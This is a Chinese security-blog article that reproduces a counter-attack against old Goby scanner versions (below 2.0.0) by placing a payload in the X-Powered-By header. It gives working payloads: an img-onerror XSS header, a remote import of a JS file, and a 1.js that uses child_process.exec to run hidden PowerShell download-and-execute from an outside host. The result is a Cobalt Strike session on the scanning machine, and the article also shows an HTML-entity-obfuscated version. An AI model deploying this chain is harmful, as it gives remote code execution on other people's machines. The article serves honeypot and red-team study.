freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

关于Goby反制上线CS中的各种问题
蚁景科技 2023-10-31 14:55:27 157583

前言

Goby作为新一代网络安全技术,通过为目标建立完整的资产数据库,实现快速的安全应急,日常为广大师傅提供了便捷的渗透体验。最近有观察到有关于某些蜜罐出现了Goby反制的指纹,顿时就起了兴趣进行研究Goby的反制,期间也遇到了很多网上没有答案的坑点,这里把遇到的问题和关键点给师傅们列举出来,希望师傅们能了解到反制的整个流程,在攻防中也不要被反制。

原理

据Goby官方解释,这实际上是一个非常久远的历史漏洞,最早的纰漏的时间是在2021年10月,当月漏洞就已修复并发布新版本。至于漏洞为何存在,得追溯到Goby的组件识别能力,Goby是使用Electron构建的客户端软件,在Goby的资产界面中,扫描结果里会展示所有符合指纹识别规则的组件名称,比如PHP、IIS等,而Goby为了更为精准的组件识别,Goby会从返回的数据报文中提取版本信息(例如X-Powered-By中),并在资产界面进行渲染展示,在旧版本的Goby中并未对版本信息做无害化处理,从而导致漏洞产生。

X-Powered-By

X-Powered-By 是 HTTP 头中的一个字段,主要用于表示网站所使用的服务器、编程语言或框架等信息。例如对于Apache中间件的网站默认会包含X-Powered-By,其中包含一些banner(如PHP/5.3.29),Goby则是收集这些banner来识别组件信息的

202310311119204.png

我们也可以自定义一个X-Powered-By 头来干扰Goby进行指纹识别,例如在代码中加入

<?php
header("X-Powered-By: yuzi");
?>

当我们我们再次发包查看会发现X-Powered-By: yuzi

202310311119205.png

而对于Nginx中间件的网站默认不会包含X-Powered-By,需要自己构造X-Powered-By才显示,对比Apache中间件网站会安全一些

202310311119206.png

对于其他中间件来说

Tomcat:默认添加,例如 X-Powered-By: Servlet/3.0

IIS:默认添加,例如 X-Powered-By: http://ASP.NET

Jetty:默认添加,例如 X-Powered-By: Jetty

反制复现

环境准备:

1.png

注:受到反制影响的Goby版本应 < 2.0.0

Goby历史版本下载:https://gobysec.net/updates?v=15#Beta(1.9.325)%E2%80%A2Feb16,2022

Nginx环境复现

在网站根目录下对网站的首页(index.php)添加带payload的X-Powered-By段

<?php
header("X-Powered-By: PHP/5.3.29 <img\tsrc=1\tonerror=alert(/helloworld/)>");
?>
//语句中的/t不能用空格进行替代可以用tab键代替,且所有的空格处应该为tab键
//标签内语句中若存在双引号则要反斜杠(\)对其进行转义,如<img\tsrc=\"x\"\tonerror=\"alert(/helloworld/);\">
//若数字在弹窗内容中则无需在两边加斜杠(/),如<img\tsrc=1\tonerror=\"alert(1);\">

此时,红队在利用Goby对该蓝队主机进行扫描,扫描完后红队会自然而然地点击IP处进行查看当前的扫描结果

202310311119207.png

当红队进入IP的资产页面后,页面会优先显示蓝队主机网站的首页的指纹信息,此时我们在首页构造的X-Powered-By被Goby识别且没有做识别过滤,因此会在Goby资产页面显示并且payload会被执行

202310311119208.png

在Goby识别指纹的时候,把恶意语句识别进去了,在PHP指纹界面上可以很清楚的看到蓝队在首页的payload,但是Goby在该页面上并不会触发payload,只有从主页中点击进入IP详情界面,才会触发payload

202310311119209.png

由于Goby使用Electron构建客户端软件,Electron用的是node.js,并且node.js能执行系统命令,故可以把危害放大化直接反制上线蓝队CS,将主页的payload更改为远程加载JS文件来执行命令

<?php
header("X-Powered-By: PHP/5.3.29 <img\tsrc=1\tonerror=import(unescape('http%3A//192.168.108.164/1.js'))>");
?>
//URL中的:需要用%3A表示,unescape()会复原URL

构造主页payload中需要远程加载的恶意JS文件1.js

(function(){
require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://192.168.108.164:100/a\'))"');
})();
//exec()内可以执行任意的系统命令例如exec('calc.exe');弹出计算机,这里通过CS的powershell命令执行进行上线
//若需要执行上线CS的命令的时,要用反斜杠(\)要把单引号转义一下,其他命令不用

在开始之前,由于刚刚Goby演示的扫描结果存在缓存,故正式开始之前应该先退出Goby,重新打开并新建扫描刚刚第一次的步骤来触发更改后的payload

7

202310311119211.png

为了反制时候达到隐匿效果,通常蜜罐会将payload进行HTML实体编码如

<?php
header("X-Powered-By: PHP/5.3.29 <img src=1 onerror=&#x69;&#x6d;&#x70;&#x6f;&#x72;&#x74;&#x28;&#x75;&#x6e;&#x65;&#x73;&#x63;&#x61;&#x70;&#x65;&#x28;&#x27;&#x68;&#x74;&#x74;&#x70;&#x25;&#x33;&#x41;&#x2f;&#x2f;&#x31;&#x39;&#x32;&#x2e;&#x31;&#x36;&#x38;&#x2e;&#x31;&#x30;&#x38;&#x2e;&#x31;&#x36;&#x34;&#x2f;&#x31;&#x2e;&#x6a;&#x73;&#x27;&#x29;&#x29;&#xa;>");
?>
//标签不能编码

202310311119212.png

到这里,Nginx中间件的网站算是复现成功,但是还没结束,因为Apache等中间件会默认会包含X-Powered-By,这对Goby来说是不利于识别我们在X-Powered-By构造payload的,因此许多师傅只能在Nginx环境下复现成功,其实Apache环境也是可以复现成功的

Apache环境复现

为了让我们构造的X-Powered-By不和Apache自身默认的X-Powered-By造成冲突,我们需要在Apache中禁用默认的X-Powered-By。我们打开Apache的配置文件httpd.conf,文件中任意空白处添加

ServerTokens Prod
//将ServerTokens设置为Prod将隐藏Apache版本信息和X-Powered-By头

202310311119214.png

添加完后,记得重启Apache服务,按照和Nginx一样的步骤也可以复现成功

202310311119215.png

最后

此Goby反制虽然是一个已经修复很久的漏洞了,但是基数上还是会有许多人在使用着存在漏洞的Goby版本,对应地在公网上也存在很多反制Goby的蜜罐,在攻防演练中也有可能用得上,故做此分析供各位师傅参考。

# Cobalt strike # 漏洞复现 # Goby
本文为 蚁景科技 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
蚁景科技 LV.9
湖南蚁景科技有限公司主要从事在线教育平台技术研究及网络培训产品研发,专注网络空间安全实用型人才培养,全面提升用户动手实践能力。
  • 907 文章数
  • 675 关注者
蚁景科技荣膺双项殊荣,引领网络安全教育新潮流
2025-03-28
FlowiseAI 任意文件写入漏洞(CVE-2025–26319)
2025-03-27
路由器安全研究:D-Link DIR-823G v1.02 B05 复现与利用思路
2025-03-18
文章目录